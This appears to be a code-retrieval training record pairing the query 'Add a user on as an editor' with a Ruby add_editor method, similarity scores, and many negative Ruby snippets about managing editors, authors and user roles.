[ "0.6170734", "0.60589266", "0.59883523", "0.5838845", "0.5679069", "0.5647567", "0.5638553", "0.5589243", "0.5537824", "0.55084217", "0.5438263", "0.5438263", "0.5409519", "0.5379178", "0.53029424", "0.52997506", "0.52826524", "0.52805203", "0.5268723", "0.52589566", "0.5257763", "0.52502316", "0.5246139", "0.52353406", "0.5233227", "0.5228688", "0.5228688", "0.5228688", "0.5221745", "0.522084", "0.5214558", "0.520901", "0.52066064", "0.5197684", "0.51858765", "0.51795876", "0.51664156", "0.51623017", "0.5162107", "0.5135158", "0.51339936", "0.51322484", "0.51212686", "0.5119506", "0.51158816", "0.5114836", "0.5107227", "0.5107227", "0.5107227", "0.5107227", "0.5106307", "0.5105904", "0.51035684", "0.51035684", "0.51035684", "0.51035684", "0.51035684", "0.51035684", "0.51035684", "0.51035684", "0.51035684", "0.51035684", "0.51035684", "0.51033676", "0.5095422", "0.5087841", "0.50838137", "0.5067756", "0.5066546", "0.5063111", "0.50609326", "0.5056937", "0.5056937", "0.5056937", "0.5055931", "0.50544804", "0.50543547", "0.505425", "0.50452125", "0.504193", "0.5039987", "0.5036351", "0.5035778", "0.503113", "0.5028117", "0.501656", "0.50140417", "0.50054353", "0.5001039", "0.49989736", "0.4995406", "0.49948844", "0.4992684", "0.49883834", "0.49863288", "0.49858198", "0.49801296", "0.4979864", "0.49745947", "0.4970355", "0.49649212" ]
0.0
-1
Add a user on as an "editor".
def add_editor(user) return unless !authors.member?(user) && !editors.member?(user) editors.push(user) SiteData.update_contribution(:add, editors_join_table, user.id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def assign_editor(user_id)\n add_user(user_id, true)\n end", "def assign_editor(user_id)\n\t\tadd_user(user_id, true)\n\tend", "def add_editor\n add_author_editor \"editor\"\n end", "def add_editor!(name)\n Vedeu::Editor::Document.store(name: name)\n end", "def add_author\n add_author_editor \"author\"\n end", "def create\n @editor = current_user.editors.build(editor_params)\n\n respond_to do |format|\n if @editor.save\n format.html { redirect_to @editor, notice: 'Editor was successfully created.' }\n format.json { render :show, status: :created, location: @editor }\n else\n format.html { render :new }\n format.json { render json: @editor.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_author_editor(type)\n contribs = @bib.contributor.select do |c|\n c.entity.is_a?(Person) && c.role.any? { |e| e.type == type }\n end.map &:entity\n\n return unless contribs.any?\n\n @item.send \"#{type}=\", concat_names(contribs)\n end", "def owner=(user)\n de = document_editor_owner\n if de\n return user if de == user\n de.set_owner(false)\n end\n\n de = document_editors.find_by(user_id: user.id)\n if de.nil?\n self.editors << user\n de = document_editors.find_by(user_id: user.id)\n end\n de.set_owner(true)\n end", "def add_author_or_editor\n return unless !@save_without_our_callbacks && (user = User.current)\n\n authors.empty? && author_worthy? ? add_author(user) : add_editor(user)\n end", "def make_dick_editor_of_addtional_name\n name = names(:boletus_edulis)\n name.user = users(:rolf)\n name.save\n end", "def add_author(user)\n return if authors.member?(user)\n\n authors.push(user)\n SiteData.update_contribution(:add, authors_join_table, user.id)\n return unless editors.member?(user)\n\n editors.delete(user)\n SiteData.update_contribution(:del, editors_join_table, user.id)\n end", "def editor?(user)\n editors.member?(user)\n end", "def sign_in_new_user\n user = create :editor\n sign_in user\n user\n end", "def addEditorObject _obj, _args\n \"_obj addEditorObject _args;\" \n end", "def editorial(nombre, opciones = {})\n editorial = nombre\n editoriales << editorial\n end", "def set_editor\n @editor = Editor.find(params[:id])\n end", "def show\n a = @article.editor\n @editor = User.find(a)\n end", "def current_user_is_editor?(node)\n current_user_has_role?('editor', node)\n end", "def first_user_hook\n if User.with_role(:admin).count == 0\n self.grant :admin\n else # set editor as default role\n self.grant :editor if self.roles.empty?\n end\n end", "def assign_creator(user_id)\n\t\tadd_user(user_id, true, true, true)\n\tend", "def grant!\n unless person.editors.include?(editor)\n person.editors << editor\n EditorRequestMailer.notification(self).deliver_now\n end\n destroy\n end", "def edited_by?(user)\n return true if editors.include?(user)\n false\n end", "def edit\n set_user\n end", "def add_user(user_id, is_editor = false, is_administrator = false, is_creator = false)\n\t\tgroup = ProjectGroup.new\n\t\tgroup.user_id = user_id\n\t\tgroup.project_creator = is_creator\n\t\tgroup.project_editor = is_editor\n\t\tgroup.project_administrator = is_administrator\n\t\tproject_groups << group\n\tend", "def add_user(name)\n\t@users << {:name => name}\n end", "def is_editor?\n role == \"editor\"\n end", "def add_editor( solr_doc, editor_number, editors )\n\n fn = solr_doc.at_path( \"book_0_editor_#{editor_number}_first_name_t[0]\" )\n ln = solr_doc.at_path( \"book_0_editor_#{editor_number}_last_name_t[0]\" )\n\n return add_person( editors, editor_number, '', fn, ln, '', '' ) if fn.present? && ln.present?\n\n # could not find the next editor, we are done\n return false, editors\n end", "def fAddAdmin (name, email, pwd)\n @users.addAdmin(name,email,pwd)\n end", "def add_user_to_import(canvas_user)\n @sis_user_import << canvas_user\n end", "def editor_up!\n Vedeu.bind(:_editor_up_) { |name| Vedeu.documents.by_name(name).up }\n end", "def js_add_new_user(object)\n update_page do |p|\n p.insert_html :bottom, 'newuser', :partial => 'user', :object => object\n p << \"lastElement = $('newuser').childElements().last()\"\n p << \"textfield = lastElement.down('.text_field')\"\n p << \"autocomplete = lastElement.down('.autocomplete')\"\n p << \"new Ajax.Autocompleter(textfield, autocomplete, #{url_for(:controller => 'admin/users', :action => :index).inspect}, { method: 'get', paramName: 'login' })\"\n end\n end", "def favourite_article\n self.users << CLI.active_user\n self.save\n end", "def editors\n\t\teditors = [self.user]\n\t\teditors\n\tend", "def add_user(user)\n @users << user\n end", "def editor_insert_character!\n Vedeu.bind(:_editor_insert_character_) do |name, character|\n Vedeu.documents.by_name(name).insert_character(character)\n end\n end", "def add_new_user()\n new_user_link.click\n end", "def editable_by?(user_id)\n user_id = user_id.id if user_id.is_a?(User)\n has_role(user_id, :editor)\n end", "def add_user(user)\n super.tap do |org_user|\n class_name = (users.count == 1) ? JudgeTeamLead : DecisionDraftingAttorney\n class_name.create!(organizations_user: org_user)\n end\n end", "def save_article\n self.name_article\n self.users << CLI.active_user\n self.save\n end", "def editable_by?(user)\n return true unless has_limited_editors?\n\n (editor_roles & user.alchemy_roles).any?\n end", "def add_admin\n @email = :email\n User.invite!(:email => @email, :ngo => current_user.ngo)\n end", "def editor_insert_line!\n Vedeu.bind(:_editor_insert_line_) do |name|\n Vedeu.documents.by_name(name).insert_line\n end\n end", "def assign_reader(user_id)\n add_user(user_id)\n end", "def add_user(user)\n @users[user.name] = user\n end", "def assign_editor(new_editor)\n new_editor = new_editor.gsub(/^\\@/, \"\")\n new_body = issue.body.gsub(/\\*\\*Editor:\\*\\*\\s*(@\\S*|Pending)/i, \"**Editor:** @#{new_editor}\")\n settings.github.update_issue(@nwo, @issue_id, issue.title, new_body, :assignees => [])\n update_assigness([new_editor])\nend", "def add_user(user)\r\n\t\tsend(\"ADC\",\"FL N=#{user.name} F=#{user.safenick}\")\r\n\t\tsend(\"ADC\",\"AL N=#{user.name} F=#{user.safenick}\")\r\n\t\t## XXX changes recorded locally by ADD msg back\r\n\t\treturn 1\r\n\tend", "def add_user(email, options={})\n raise NotImplementedError, \"Please implement this in your concrete class\"\n end", "def add_user!( user )\n raise TypeError.new('not a user') unless user.is_a?(Ecore::User)\n user.add_group!(self)\n end", "def user_can_edit(user)\n if (self.editor == user) or self.book.project.owner == user or user.id == 1 then\n return true\n else\n return false\n end\n end", "def add_user(user)\n comments.each { |c| c.mark_as_read!(for: user) }\n subscribe!(user)\n project.add_user(user)\n end", "def edit(*args)\n open_with ENV['EDITOR'], *args\n end", "def add\n # ask the user for the user name\n new_user_name = @view.ask_user_for(:username)\n # ask the user for the user continent\n new_user_continent = @view.ask_user_for(:password)\n # create an instance of `Country` based on what the user said\n new_user = User.new(username: new_user_name, password: new_user_continent)\n # adding in to the repo\n @repo.add(new_user)\n end", "def editor! doc\n if doc.default_level == \"owner\" or doc.default_level == \"editor\"\n return\n else\n perm = doc.permissions(user: current_user)\n if perm.length > 0 && (perm[0].level == \"owner\" or perm[0].level == \"editor\")\n return\n end\n end\n halt 403\n end", "def set_user; end", "def assign_creator(user_id)\n user_id = user_id.id if user_id.is_a?(User)\n add_user(user_id, true, true, true)\n end", "def editors(options = {})\n authors_or_editors(@text[:editor].to_names) if @text[:editor]\n end", "def edit_current_user\n end", "def add_user_to_org(org_id, app_id, user_id)\n app_user = Application\n end", "def add_user( user )\n raise TypeError.new('not a user') unless user.is_a?(Ecore::User)\n user.add_group(self)\n end", "def assign_editor(new_editor)\n new_editor = new_editor.gsub(/^\\@/, \"\")\n new_body = issue.body.gsub(/\\*\\*Editor:\\*\\*\\s*(@\\S*|Pending)/i, \"**Editor:** @#{new_editor}\")\n github_client.update_issue(@nwo, @issue_id, issue.title, new_body, :assignees => [])\n update_assigness([new_editor])\nend", "def user(*args)\n @users << User.add(*args)\n end", "def add_user(user_id, is_editor = false, is_administrator = false, is_creator = false)\n Role.where(plan_id: self.id, user_id: user_id).each do |r|\n r.destroy\n end\n\n role = Role.new\n role.user_id = user_id\n role.plan_id = id\n\n # if you get assigned a role you can comment\n role.commenter= true\n\n # the rest of the roles are inclusing so creator => administrator => editor\n if is_creator\n role.creator = true\n role.administrator = true\n role.editor = true\n end\n\n if is_administrator\n role.administrator = true\n role.editor = true\n end\n\n if is_editor\n role.editor = true\n end\n\n role.save\n\n # This is necessary because we're creating the associated record but not assigning it\n # to roles. Auto-saving like this may be confusing when coding upstream in a controller,\n # view or api. Should probably change this to:\n # self.roles << role\n # and then let the save be called manually via:\n # plan.save!\n #self.reload\n end", "def assign_reader(user_id)\n\t\tadd_user(user_id)\n\tend", "def is_editor?\n if user_signed_in?\n raise JazzhoustonAuth::UnauthorizedEditor unless current_user.editor_flag==1\n else\n # or you can use the authenticate_user! devise provides to only allow signed_in users\n raise JazzhoustonAuth::RequiresLogin\n end\n end", "def add_mention(user)\n @mentions << user unless user.name == self.name or mentions.include?(user)\n self\n end", "def add_owner(user)\n user = User.get_user(user, client)\n response = client.post \"/owners/?actor_token=#{CGI.escape client.system_token}\", {:jid => user.jid}\n if response.success?\n true\n else\n raise APIException.new(response.body)\n end\n end", "def insertEditorObject _obj, _args\n \"_obj insertEditorObject _args;\" \n end", "def can_edit?(user)\n return true if check_creator(user)\n return true if user.any_role?('editor', 'manager')\n return true if !self.content_permissions.by_user(user).blank?\n return true if self.parent && self.parent.can_add_content?(user)\n false\n end", "def new_user(object)\n javascript_tag js_add_new_user(object)\n end", "def set_edit_users(users, eligible_users)\n set_entities(:edit, :person, users, eligible_users)\n end", "def add_user_name(username)\n\t\tuser_name_input.set(username)\n\tend", "def can_edit?(user)\n user && self.creator_id == user.id\n end", "def set_creator(c)\n if self.creator_id \n remove_user_by_id(self.creator_id)\n end \n self.creator_id = c.id\n if self.save\n add_additional_user(c) \n true\n else\n false\n end \n end", "def set_editorial\n @editorial = Editorial.find(params[:id])\n end", "def call_editor\n self.class.call_editor(@repo)\n end", "def type_ck_editor(id, text)\n execute_script(\"CKEDITOR.instances['#{id}'].insertText('#{text}');\")\n end", "def edit\r\n \t@user = current_user\r\n end", "def set_admin_editorial\n @admin_editorial = Admin::Editorial.find(params[:id])\n end", "def edit(content, editor: nil, command: nil)\n Editor.new(edit_command(editor, command), content: content).open\n end", "def editable_by?(user)\n\t\tuser && user == author\n\tend", "def add_collaborator(app_name, username)\n post(\"/apps/#{escape(app_name)}/collaborators\", {:collaborator => {:username => username}})\n end", "def editor?\n has_role? :editor\n end", "def add_contributor\n end", "def set_User(value)\n set_input(\"User\", value)\n end", "def set_User(value)\n set_input(\"User\", value)\n end", "def set_User(value)\n set_input(\"User\", value)\n end", "def set_User(value)\n set_input(\"User\", value)\n end", "def set_User(value)\n set_input(\"User\", value)\n end", "def set_User(value)\n set_input(\"User\", value)\n end", "def set_User(value)\n set_input(\"User\", value)\n end", "def set_User(value)\n set_input(\"User\", value)\n end", "def make_user\n end", "def add_user(user)\n self.users.create(id: user.id)\n end", "def add_user(user)\n @usernames[user] = get_color unless @usernames.has_key?(user)\n end", "def add username\n @members.add username\n end", "def add_admin(user)\n user = User.get_user(user, client)\n response = client.post \"/admins/?actor_token=#{CGI.escape user.token}\", {:jid => user.jid}\n if response.success?\n true\n else\n raise APIException.new(response.body)\n end\n end", "def get_last_editor\n User.find_by_id(last_editor_id)\n end", "def add\n @user = User.new\n end", "def edit\n @user = current_user\n end", "def add_admin oid\n self.admins << oid if Character && !admin?(oid)\n end" ]
[ "0.8382689", "0.82146615", "0.7783186", "0.7151388", "0.6811927", "0.65949684", "0.65701836", "0.636815", "0.63289", "0.63150007", "0.6128033", "0.61255586", "0.60336983", "0.5973332", "0.5971064", "0.59547514", "0.58989036", "0.58846724", "0.5845536", "0.58339024", "0.5829199", "0.58053607", "0.58018583", "0.57742184", "0.5764661", "0.5761371", "0.5760517", "0.5742704", "0.5714647", "0.5709335", "0.56872565", "0.56690204", "0.56613207", "0.56605", "0.56299394", "0.5625178", "0.56169784", "0.56079715", "0.558114", "0.55810964", "0.5574109", "0.5562249", "0.5552609", "0.5533308", "0.5527482", "0.55130446", "0.55075145", "0.5504564", "0.54928964", "0.5489295", "0.5489276", "0.5488196", "0.54603726", "0.5451995", "0.5437672", "0.5435983", "0.543379", "0.5430516", "0.5427637", "0.54188985", "0.54146546", "0.5399157", "0.5395608", "0.5389556", "0.5370062", "0.53639436", "0.53565437", "0.5344186", "0.5342539", "0.5340405", "0.5338027", "0.53367877", "0.5336787", "0.5332367", "0.5332056", "0.532179", "0.53216517", "0.5320045", "0.531324", "0.53083277", "0.5301644", "0.529359", "0.5290696", "0.5290297", "0.5290281", "0.5290281", "0.5290281", "0.5290281", "0.5290281", "0.5290281", "0.5290281", "0.5288586", "0.5286764", "0.5284122", "0.52833", "0.5269973", "0.5264616", "0.5262369", "0.5260096", "0.5256661" ]
0.78930765
2
:section: Callbacks Callback that updates editors and/or authors after a User makes a change. If the Name has no author and they've made sufficient contributions, they get promoted to author by default. In all cases make sure the user is added on as an editor.
def add_author_or_editor return unless !@save_without_our_callbacks && (user = User.current) authors.empty? && author_worthy? ? add_author(user) : add_editor(user) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_editor(user)\n return unless !authors.member?(user) && !editors.member?(user)\n\n editors.push(user)\n SiteData.update_contribution(:add, editors_join_table, user.id)\n end", "def add_author(user)\n return if authors.member?(user)\n\n authors.push(user)\n SiteData.update_contribution(:add, authors_join_table, user.id)\n return unless editors.member?(user)\n\n editors.delete(user)\n SiteData.update_contribution(:del, editors_join_table, user.id)\n end", "def set_author_name\n # Handles toggling between fake and real names (at edit)\n if anonymouse_changed?\n if self.anonymouse?\n self.author_name = Faker::Name.name\n else\n self.author_name = self.user.name\n end\n end\n # Handles\n if !self.anonymouse?\n self.author_name = self.user.name\n end\n end", "def add_author\n add_author_editor \"author\"\n end", "def corresponding_author=(user)\n contribution = self.corresponding_author_contribution || Contribution.new(:role_id => 1)\n contribution.user_id = user.id\n contribution.save(false)\n self.corresponding_author \n end", "def assign_editor(user_id)\n add_user(user_id, true)\n end", "def assign_editor(user_id)\n\t\tadd_user(user_id, true)\n\tend", "def check_author\n if self.author.blank?\n self.author = 'anon'\n end\n end", "def review_authors # :norobots:\n pass_query_params\n @object = AbstractModel.find_object(params[:type], params[:id].to_s)\n @authors = @object.authors\n parent = @object.parent\n if @authors.member?(@user) || @user.in_group?(\"reviewers\")\n @users = User.all(order: \"login, name\")\n new_author = params[:add] ? User.find(params[:add]) : nil\n if new_author && !@authors.member?(new_author)\n @object.add_author(new_author)\n flash_notice(\"Added #{new_author.legal_name}\")\n # Should send email as well\n end\n old_author = params[:remove] ? User.find(params[:remove]) : nil\n if old_author && @authors.member?(old_author)\n @object.remove_author(old_author)\n flash_notice(\"Removed #{old_author.legal_name}\")\n # Should send email as well\n end\n else\n flash_error(:review_authors_denied.t)\n redirect_with_query(controller: parent.show_controller,\n action: parent.show_action, id: parent.id)\n end\n end", "def add_author_editor(type)\n contribs = @bib.contributor.select do |c|\n c.entity.is_a?(Person) && c.role.any? { |e| e.type == type }\n end.map &:entity\n\n return unless contribs.any?\n\n @item.send \"#{type}=\", concat_names(contribs)\n end", "def commit_author(snippet)\n return migration_bot_user if snippet_content_size_over_limit?(snippet)\n return migration_bot_user if @invalid_signature_error\n\n if Gitlab::UserAccessSnippet.new(snippet.author, snippet: snippet).can_do_action?(:update_snippet)\n snippet.author\n else\n migration_bot_user\n end\n end", "def remove_author(user)\n return unless authors.member?(user)\n\n authors.delete(user)\n SiteData.update_contribution(:del, authors_join_table, user.id)\n\n return unless !editors.member?(user) && user_made_a_change?(user)\n\n editors.push(user)\n SiteData.update_contribution(:add, editors_join_table, user.id)\n end", "def modified_by(user)\n #none by default\n end", "def modified_by(user)\n #none by default\n end", "def set_AuthorUsername(value)\n set_input(\"AuthorUsername\", value)\n end", "def changeState(user)\n if user.current_role == Role.Fachschaft || user.current_role == Role.Admin\n if self.unsubmitted?\n #Set the author of this event revision\n self.author = user\n #Make sure the event is awaiting approval\n self.waiting!\n elsif user.current_role == Role.Admin\n if self.reviewed?\n self.admin = user\n self.submitted!\n self.publish\n end\n end\n end\n save\n end", "def set_AuthorName(value)\n set_input(\"AuthorName\", value)\n end", "def notify_only_author?(user)\n for_commit? && commit_author &&\n commit_author.email != user.email\n end", "def add_editor\n add_author_editor \"editor\"\n end", "def test_update_name_add_author_nondestructive_merge\n old_name = names(:mergeable_epithet_unauthored)\n new_name = names(:mergeable_epithet_authored)\n new_author = new_name.author\n name_count = Name.count\n params = {\n id: old_name.id,\n name: {\n text_name: old_name.text_name,\n author: new_author,\n rank: old_name.rank,\n deprecated: (old_name.deprecated ? \"true\" : \"false\")\n }\n }\n login(old_name.user.login)\n put(:update, params: params)\n\n assert_redirected_to(name_path(new_name.id))\n assert_flash_success\n assert_equal(new_author, new_name.reload.author)\n assert_no_emails\n assert_equal(name_count - 1, Name.count)\n assert_not(Name.exists?(old_name.id))\n end", "def update\n if @current_user.update(user_params)\n if @current_user.saved_change_to_attribute?(\"first_name\") || @current_user.saved_change_to_attribute?(\"last_name\")\n redirect_to home_path, notice: \"Your name has been updated successfully.\"\n elsif @current_user.saved_change_to_attribute?(\"order_categories_by\")\n redirect_to categories_path, notice: \"Journal sorting changed.\"\n else\n redirect_back(fallback_location: root_path)\n end\n else\n render action: 'edit'\n end\n end", "def update_extensions\n extensions.each do |e|\n e.update_attribute(:author_name, e.author_name.blank? ? self.name : e.author_name)\n end\n end", "def author_login=(name)\r\n self.user = User.find_by_login(name)\r\n end", "def make_dick_editor_of_addtional_name\n name = names(:boletus_edulis)\n name.user = users(:rolf)\n name.save\n end", "def author_not_changed\n return unless author_changed? && persisted?\n errors.add(:author, 'Change of author not allowed!')\n end", "def assign_reviewer(new_reviewer)\n new_reviewer = new_reviewer.gsub(/^\\@/, \"\")\n editor = issue.body.match(/\\*\\*Editor:\\*\\*\\s*.@(\\S*)/)[1]\n new_body = issue.body.gsub(/\\*\\*Reviewer:\\*\\*\\s*(@\\S*|Pending)/i, \"**Reviewer:** @#{new_reviewer}\")\n settings.github.add_collaborator(@nwo, new_reviewer)\n puts \"NWO: #{@nwo}\"\n puts \"ISSUE ID: #{@issue_id}\"\n puts \"TITLE: #{issue.title}\"\n puts \"BODY: #{new_body}\"\n puts \"ASSIGNEES #{[new_reviewer, editor]}\"\n settings.github.update_issue(@nwo, @issue_id, issue.title, new_body, :assignees => [])\n update_assigness([new_reviewer, editor])\nend", "def first_user_hook\n if User.with_role(:admin).count == 0\n self.grant :admin\n else # set editor as default role\n self.grant :editor if self.roles.empty?\n end\n end", "def author(name, email)\n @commit_author = Grit::Actor.new(name, email)\n end", "def edit\n @author = find_author\n end", "def add_author(name)\n aux = name.split\n autor = Author.new(aux[1..-1].join(\" \"),aux[0][0].capitalize)\n @Author << autor \n end", "def change_owner!(user_changing, user_to_be_changed)\n if(!user_changing.persisted? || super_admin != user_changing)\n raise SecurityError.new \"No Permissions\"\n end \n exist_user?(user_to_be_changed)\n if(super_admin != user_changing)\n ActiveRecord::Base.transaction do\n remove_user!(user_changing, user_to_be_changed)\n participants.create(user_id: user_changing.id, member_type: Course.roles[\"admin\"])\n update(super_admin: user_to_be_changed)\n end\n end\n\nend", "def set_user_name_field(user_name)\n end", "def update!(**args)\n @user_name = args[:user_name] if args.key?(:user_name)\n end", "def update!(**args)\n @user_name = args[:user_name] if args.key?(:user_name)\n end", "def set_author\n @author = User.find(params[:id])\n end", "def edit\n # Listing 9.14: Finding the correct user is now handled by the correct_user before_action.\n end", "def resolved_author; end", "def assign_reviewer(new_reviewer)\n new_reviewer = new_reviewer.gsub(/^\\@/, \"\")\n editor = issue.body.match(/\\*\\*Editor:\\*\\*\\s*.@(\\S*)/)[1]\n new_body = issue.body.gsub(/\\*\\*Reviewer:\\*\\*\\s*(@\\S*|Pending)/i, \"**Reviewer:** @#{new_reviewer}\")\n github_client.add_collaborator(@nwo, new_reviewer)\n puts \"NWO: #{@nwo}\"\n puts \"ISSUE ID: #{@issue_id}\"\n puts \"TITLE: #{issue.title}\"\n puts \"BODY: #{new_body}\"\n puts \"ASSIGNEES #{[new_reviewer, editor]}\"\n github_client.update_issue(@nwo, @issue_id, issue.title, new_body, :assignees => [])\n update_assigness([new_reviewer, editor])\nend", "def editable_by?(user)\n\t\tuser && user == author\n\tend", "def initilize(user_name = 'you')\n @reader = user_name\n @authors = %w(sugamasao takkanm hibariya ryopeko)\n end", "def default_value_for_author\n git_global_config_for(\"user.name\") do |author_val|\n warn(\"Using author from git as: #{author_val}\")\n end\n end", "def set_author\n @creator = Creator.find(params[:id])\n end", "def alter\n UserNotifier.deliver_user_review(self, user)\n end", "def test_update_name_remove_author_nondestructive_merge\n old_name = names(:mergeable_epithet_authored)\n new_name = names(:mergeable_epithet_unauthored)\n name_count = Name.count\n params = {\n id: old_name.id,\n name: {\n text_name: old_name.text_name,\n author: \"\",\n rank: old_name.rank,\n deprecated: (old_name.deprecated ? \"true\" : \"false\")\n }\n }\n login(old_name.user.login)\n put(:update, params: params)\n\n assert_redirected_to(name_path(new_name.id))\n assert_flash_success\n assert_empty(new_name.reload.author)\n assert_no_emails\n assert_equal(name_count - 1, Name.count)\n assert_not(Name.exists?(old_name.id))\n end", "def edited_by?(user)\n return true if editors.include?(user)\n false\n end", "def author=(new_author = nil)\n @info[:Author] = new_author\n end", "def name_descriptions_by_editor # :nologin: :norobots:\n if user = params[:id] ? find_or_goto_index(User, params[:id].to_s) : @user\n query = create_query(:NameDescription, :by_editor, :user => user)\n show_selected_name_descriptions(query)\n end\n end", "def update\n # if the creator already exists, get the creator and add to user's list\n creator = Creator.where(\"provider = ? AND p_id = ?\", params[\"provider\"], params[\"p_id\"])\n if !creator.exists?\n # if the creator does not exist, create creator and add to user's list\n creator = Creator.create(creator_hash(params))\n creator.get_content\n else\n # Creator.where method returns an array of creators. Need to pull out the first\n creator = creator.first\n end\n current_user.creators << creator if current_user.creators\n flash[:notice] = \"#{creator.username} has been added to your feed!\"\n redirect_to root_path\n end", "def edit(*)\n super.tap do\n __debug_sim('USER initiates modification of existing entries.')\n end\n end", "def test_edit_name_post_name_and_author_missing\n names(:conocybe).destroy\n name = names(:conocybe_filaris)\n params = {\n id: name.id,\n name: {\n rank: \"Species\",\n citation: \"__Le Genera Galera__, 139. 1935.\",\n deprecated: (name.deprecated ? \"true\" : \"false\")\n }\n }\n login(\"rolf\")\n put(:update, params: params)\n\n assert_flash_success\n assert_redirected_to(name_path(name.id))\n assert_no_emails\n assert_equal(\"\", name.reload.author)\n assert_equal(\"__Le Genera Galera__, 139. 1935.\", name.citation)\n assert_equal(rolf, name.user)\n assert_equal(10, rolf.reload.contribution)\n end", "def set_author(name, email=nil)\n self.actor = name ? Grit::Actor.new(name, (email ? email : '')) : nil\n end", "def set_author\n author_reference.reference = \"Patient/#{user.icn}\"\n end", "def update_name(new_name)\n self.update(name: new_name)\n self\n puts \"Your username has been updated.\".colorize(:magenta)\n end", "def by_editor\n user = find_obj_or_goto_index(\n model: User, obj_id: params[:by_editor].to_s,\n index_path: name_descriptions_path\n )\n return unless user\n\n query = create_query(:NameDescription, :by_editor, user: user)\n show_selected_name_descriptions(query)\n end", "def setup_contributor\n if @role.contributor != nil\n @editing = true\n @contributor=@role.contributor\n else\n @contributor=Contributor.new(:status_id => PENDING)\n @contributor.updated_by = get_user.login_id\n @role.contributor = @contributor\n \n end\n \n set_default_status(@contributor)\n attachments @contributor\n end", "def owner=(user)\n de = document_editor_owner\n if de\n return user if de == user\n de.set_owner(false)\n end\n\n de = document_editors.find_by(user_id: user.id)\n if de.nil?\n self.editors << user\n de = document_editors.find_by(user_id: user.id)\n end\n de.set_owner(true)\n end", "def add_contributor\n end", "def set_creator(c)\n if self.creator_id \n remove_user_by_id(self.creator_id)\n end \n self.creator_id = c.id\n if self.save\n add_additional_user(c) \n true\n else\n false\n end \n end", "def editor_up!\n Vedeu.bind(:_editor_up_) { |name| Vedeu.documents.by_name(name).up }\n end", "def author_name=(author_name)\n self.author = Author.find_or_create_by(name: author_name)\n end", "def check_author\n return unless self.is_author\n\n self.name = BLARG_CONFIG['admin']['name']\n self.email = BLARG_CONFIG['admin']['email']\n self.url = BLARG_CONFIG['blog']['url']\n self.is_human = BLARG_CONFIG['comments']['is_human_answer']\n end", "def author \n user.firstname + ' ' + user.lastname\n end", "def name_descriptions_by_author # :nologin: :norobots:\n if user = params[:id] ? find_or_goto_index(User, params[:id].to_s) : @user\n query = create_query(:NameDescription, :by_author, :user => user)\n show_selected_name_descriptions(query)\n end\n end", "def author; end", "def notification_author_name_for(content)\n return unless content.respond_to? :author\n if !content.author.is_a?(Group) && current_user == content.author.user\n _('You')\n elsif content.anonymous?\n _('Anonymous')\n else\n # link_to(content.author.name, commoner_path(content.author))\n content.author.name\n end\n end", "def update_user\n end", "def update\n @user = User.find(params[:id])\n\t@articles = Article.where(:author => @user.name)\n\t@comments = Comment.where(:username => @user.name)\n respond_to do |format|\n if @user.update_attributes(params[:user])\n\t\t@articles.each do |aa|\n\t\t\taa.author=params[:user][:name]\n\t\t\taa.save\n\t\tend\n\t\t@comments.each do |cc|\n\t\t\tcc.username=params[:user][:name]\n\t\t\tcc.save\n\t\tend\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_edit_name_remove_author_no_exact_match\n name = names(:amanita_baccata_arora)\n params = {\n id: name.id,\n name: {\n text_name: names(:coprinus_comatus).text_name,\n author: \"\",\n rank: names(:coprinus_comatus).rank,\n deprecated: (name.deprecated ? \"true\" : \"false\")\n }\n }\n login(name.user.login)\n put(:update, params: params)\n\n assert_redirected_to(name_path(name.id))\n assert_flash_success\n assert_empty(name.reload.author)\n assert_email_generated\n end", "def update\n @user = User.find_by_slug(params[:id])\n # @wiki = Wiki.find(params[:id])\n # merge default value with params so if no collaborators checked, will erase\n if @user.update_attributes(params[:user])\n redirect_to @user\n else\n flash[:error] = \"Error saving user. Please try again.\"\n render :edit\n end\n end", "def name_when_entry_author\n Rails.cache.fetch(\"#{__method__}/#{cache_key_with_version}/#{organization.users_count}\") do\n full_form = \"#{name} @ #{organization.name}\"\n next(full_form) unless organization.individual?\n\n name == organization.name ? name : full_form\n end\n end", "def update\n\t\t\n\t\t# check if the current use is this person\n\t\t\t\t\n\t\t\n\tend", "def by_author\n user = find_obj_or_goto_index(\n model: User, obj_id: params[:by_author].to_s,\n index_path: name_descriptions_path\n )\n return unless user\n\n query = create_query(:NameDescription, :by_author, user: user)\n show_selected_name_descriptions(query)\n end", "def author_name=(name)\n # see if there's an author with this name in database\n # if there is, associate them\n # if not, create a new author\n\n author = Author.find_by(name: name)\n\n if author.nil?\n author = Author.create(name: name)\n end\n\n self.author = author\n\n # author = Author.find_or_create_by(name: name)\n # self.author = author\n end", "def set_ContributorDetails(value)\n set_input(\"ContributorDetails\", value)\n end", "def set_ContributorDetails(value)\n set_input(\"ContributorDetails\", value)\n end", "def author=(author) #setter\n @author = author\n end", "def set_ContributorDetails(value)\n set_input(\"ContributorDetails\", value)\n end", "def set_ContributorDetails(value)\n set_input(\"ContributorDetails\", value)\n end", "def set_ContributorDetails(value)\n set_input(\"ContributorDetails\", value)\n end", "def set_author(new_author)\r\n @author = new_author\r\n return self\r\n end", "def user_can_edit(user)\n if (self.editor == user) or self.book.project.owner == user or user.id == 1 then\n return true\n else\n return false\n end\n end", "def update\n if @author.update(author_params)\n render :show, status: :ok, location: api_v1_author_url(@author)\n else\n render json: { error: @author.errors }, status: :unprocessable_entity\n end\n end", "def edited_by?(user)\n lecture.edited_by?(user)\n end", "def author_name\n self.author.name if author \n end", "def author_name\n self.author ? \"#{self.author}\" : 'Anonymous'\n end", "def update\n @user = User.find(params[:id])\n # @user = User.find(params[:id])\n # merge default value with params so if no collaborators checked, will erase\n if @user.update_attributes(user_params)\n redirect_to blogs_path\n else\n flash[:error] = \"Error saving user. Please try again. #{@user.errors.full_messages.first}.\"\n render :edit\n end\n end", "def assign_editor(new_editor)\n new_editor = new_editor.gsub(/^\\@/, \"\")\n new_body = issue.body.gsub(/\\*\\*Editor:\\*\\*\\s*(@\\S*|Pending)/i, \"**Editor:** @#{new_editor}\")\n settings.github.update_issue(@nwo, @issue_id, issue.title, new_body, :assignees => [])\n update_assigness([new_editor])\nend", "def set_author\n @author = Author.friendly.find(params[:author_name])\n end", "def update_users_and_parent\n # Update editors' and authors' contributions.\n authors.each do |user|\n SiteData.update_contribution(:del, authors_join_table, 